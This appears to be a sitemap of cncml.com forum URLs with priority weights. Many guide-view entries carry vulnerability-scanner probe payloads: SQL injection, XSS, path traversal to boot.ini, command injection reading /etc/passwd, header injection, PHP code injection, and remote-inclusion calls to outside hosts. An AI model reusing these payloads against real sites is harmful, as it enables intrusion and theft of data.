0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=39&orderby=lastpost&filter=dateline&dateline=2592000 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=39&orderby=lastpost&filter=dateline&dateline=604800 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=39&orderby=lastpost&filter=dateline&dateline=7948800 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=39&orderby=lastpost&filter=dateline&dateline=86400 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=43&filter= 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=43&filter=&orderby=lastpost& 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=43&filter=author&orderby=dateline 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=43&filter=digest&digest=1 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=43&filter=digest&digest=1&orderby=lastpost 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=43&filter=heat&orderby=heats 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=43&filter=hot 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=43&filter=lastpost&orderby=lastpost 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=43&filter=reply&orderby=replies 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=43&filter=reply&orderby=views 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=43&filter=specialtype&specialtype=reward 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=43&orderby=lastpost&filter=dateline 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=43&orderby=lastpost&filter=dateline&dateline=172800 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=43&orderby=lastpost&filter=dateline&dateline=2592000 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=43&orderby=lastpost&filter=dateline&dateline=604800 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=43&orderby=lastpost&filter=dateline&dateline=7948800 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=43&orderby=lastpost&filter=dateline&dateline=86400 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=43&orderby=lastpost&filter=lastpost&orderby=lastpost&page=2 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=43&orderby=lastpost&filter=lastpost&orderby=lastpost&page=3 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=43&orderby=lastpost&orderby=lastpost&filter=lastpost&page=1 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=43&orderby=lastpost&orderby=lastpost&filter=lastpost&page=2 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=43&page= 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=44 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=44&filter= 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=44&filter=&orderby=lastpost& 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=44&filter=author&orderby=dateline 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=44&filter=digest&digest=1 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=44&filter=heat&orderby=heats 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=44&filter=hot 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=44&filter=lastpost&orderby=lastpost 0.0002 http://www.cncml.com/forum.php?mod=forumdisplay&fid=44&filter=reply&orderby=replies 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=44&filter=reply&orderby=views 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=44&filter=specialtype&specialtype=reward 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=44&orderby=lastpost&filter=dateline 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=44&orderby=lastpost&filter=dateline&dateline=172800 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=44&orderby=lastpost&filter=dateline&dateline=2592000 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=44&orderby=lastpost&filter=dateline&dateline=604800 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=44&orderby=lastpost&filter=dateline&dateline=7948800 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=44&orderby=lastpost&filter=dateline&dateline=86400 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=47&filter=digest&digest=1&orderby=heats&sortid=2 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=47&filter=digest&digest=1&sortall=1 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=47&filter=digest&digest=1&sortid=2 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=47&filter=heat&orderby=heats 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=47&filter=hot 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=47&filter=lastpost&orderby=lastpost&digest=1&sortall=1 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=47&filter=lastpost&orderby=lastpost&sortall=1 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=47&filter=lastpost&orderby=lastpost&sortid=2 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=47&filter=sortall&sortall=1 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=47&filter=sortid&sortid=2&digest=1&sortall=1 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=47&filter=sortid&sortid=2&sortall=1 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=47&orderby=lastpost&sortid=2 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=47&sortall=1 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=48 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=48&digest=1 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=48&filter= 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=48&filter=&orderby=dateline& 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=48&filter=author&orderby=dateline 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=48&filter=digest&digest=1 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=48&filter=heat&orderby=heats 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=48&filter=hot 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=48&filter=lastpost&orderby=lastpost 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=48&filter=reply&orderby=replies 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=48&filter=reply&orderby=views 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=48&filter=specialtype&specialtype=reward 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=48&filter=specialtype&specialtype=reward&rewardtype=2 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=48&filter=specialtype&specialtype=trade 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=48&orderby=dateline&filter=dateline 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=48&orderby=dateline&filter=dateline&dateline=172800 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=48&orderby=dateline&filter=dateline&dateline=2592000 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=48&orderby=dateline&filter=dateline&dateline=604800 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=48&orderby=dateline&filter=dateline&dateline=7948800 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=48&orderby=dateline&filter=dateline&dateline=86400 0.0001 http://www.cncml.com/forum.php?mod=forumdisplay&fid=48&orderby=lastpost 0.0001 http://www.cncml.com/forum.php?mod=guide 0.0001 http://www.cncml.com/forum.php?mod=guide&rss=1&view=new 0.0001 http://www.cncml.com/forum.php?mod=guide&rss=1&view=sofa 0.0001 http://www.cncml.com/forum.php?mod=guide&view=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/forum.php?mod=guide&view=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/forum.php?mod=guide&view=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/forum.php?mod=guide&view=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/forum.php?mod=guide&view=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/forum.php?mod=guide&view=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?mod=guide&view=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/forum.php?mod=guide&view=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/forum.php?mod=guide&view=%3Cdir 0.0001 http://www.cncml.com/forum.php?mod=guide&view=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/forum.php?mod=guide&view=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?mod=guide&view=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/forum.php?mod=guide&view=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/forum.php?mod=guide&view=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/forum.php?mod=guide&view='%2bCONVERT(INT,CHAR(106)%2bCHAR(67)%2bCHAR(117)%2bCHAR(106)%2bCHAR(50)%2bCHAR(108)%2bCHAR(67)%2bCHAR(70)%2bCHAR(87)%2bCHAR(122)%2bCHAR(106))%2b' 0.0001 http://www.cncml.com/forum.php?mod=guide&view='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/forum.php?mod=guide&view=');print(md5(1122));// 0.0001 http://www.cncml.com/forum.php?mod=guide&view=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/forum.php?mod=guide&view=(EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=(SELECT%20(CASE%20WHEN%20(35=35)%20THEN%200x6E6577%20ELSE%2035*(SELECT%2035%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=(SELECT%20(CASE%20WHEN%20(52=52)%20THEN%200x6E6577%20ELSE%2052*(SELECT%2052%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=(SELECT%20(CASE%20WHEN%20(56=76)%20THEN%200x6E6577%20ELSE%2056*(SELECT%2056%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=(SELECT%20(CASE%20WHEN%20(62=15)%20THEN%200x6E6577%20ELSE%2062*(SELECT%2062%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=(SELECT%20(CASE%20WHEN%20(71=71)%20THEN%200x6E6577%20ELSE%2071*(SELECT%2071%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=(SELECT%20(CASE%20WHEN%20(73=51)%20THEN%200x6E6577%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=(SELECT%20(CASE%20WHEN%20(78=88)%20THEN%200x6E6577%20ELSE%2078*(SELECT%2078%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=(SELECT%20(CASE%20WHEN%20(98=98)%20THEN%200x6E6577%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?mod=guide&view=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/forum.php?mod=guide&view=................windowswin.ini 0.0001 http://www.cncml.com/forum.php?mod=guide&view=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/forum.php?mod=guide&view=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/forum.php?mod=guide&view=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/forum.php?mod=guide&view=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/forum.php?mod=guide&view=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/forum.php?mod=guide&view=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/forum.php?mod=guide&view=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/forum.php?mod=guide&view=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/forum.php?mod=guide&view=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/forum.php?mod=guide&view=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/forum.php?mod=guide&view=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/forum.php?mod=guide&view=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/forum.php?mod=guide&view=;print(md5(1122));%23 0.0001 http://www.cncml.com/forum.php?mod=guide&view=C:%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?mod=guide&view=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/forum.php?mod=guide&view=ELT(45=45,0x6E6577) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=ELT(52=23,0x6E6577) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=MAKE_SET(43=56,0x6E6577) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=MAKE_SET(49=49,0x6E6577) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=convert(int,('s'elect'%20char(106)%2bchar(58))) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/forum.php?mod=guide&view=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/forum.php?mod=guide&view=digest 0.0001 http://www.cncml.com/forum.php?mod=guide&view=digest&rss=1 0.0001 http://www.cncml.com/forum.php?mod=guide&view=dir 0.0001 http://www.cncml.com/forum.php?mod=guide&view=file:///c:/boot.ini 0.0001 http://www.cncml.com/forum.php?mod=guide&view=hot 0.0001 http://www.cncml.com/forum.php?mod=guide&view=hot&mobile=2 0.0010 http://www.cncml.com/forum.php?mod=guide&view=hot&rss=1 0.0001 http://www.cncml.com/forum.php?mod=guide&view=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/forum.php?mod=guide&view=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/forum.php?mod=guide&view=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/forum.php?mod=guide&view=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/forum.php?mod=guide&view=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/forum.php?mod=guide&view=my 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new 0.0009 http://www.cncml.com/forum.php?mod=guide&view=new!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%00' 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%20AND%201997=PG_SLEEP(5) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%20AND%205=SLEEP(5) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%20AND%20PG_SLEEP(5) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%20OR%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%20OR%205=SLEEP(5) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%20OR%20@%60'%60%20AND%20(SELECT%20*%20FROM%20(SELECT%20COUNT(*),CONCAT(FLOOR(rand(0)*2),(SELECT%20USER()))a%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20a)b)%20OR%20@%60'%60 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%20RLIKE%20(SELECT%20(CASE%20WHEN%20(92=92)%20THEN%200x6E6577%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%20RLIKE%20(SELECT%20(CASE%20WHEN%20(94=32)%20THEN%200x6E6577%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%20WAITFOR%20DELAY%20'0:0:5' 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%22%20AND%20%22ie%22=%22nZ 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%22)%20AND%2019=82%20AND%20(%22mj%22=%22mj 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%25%22%29%20AND%2019%3D57%20AND%201%20like%28%22%25 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%25%27%29%20AND%2022%3D22%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%25%27%29%20AND%2073%3D56%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%25'%20AND%2028=28%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%25'%20AND%2072=72%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%25'%20AND%2075=21%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%25'%20AND%2081=14%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(39=63)%20THEN%200x6E6577%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(44=44)%20THEN%200x6E6577%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%2527 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%27%2b(SELECT+1+FROM+(SELECT+SLEEP(5))A)%2b%27 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?mod=guide&view=new%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 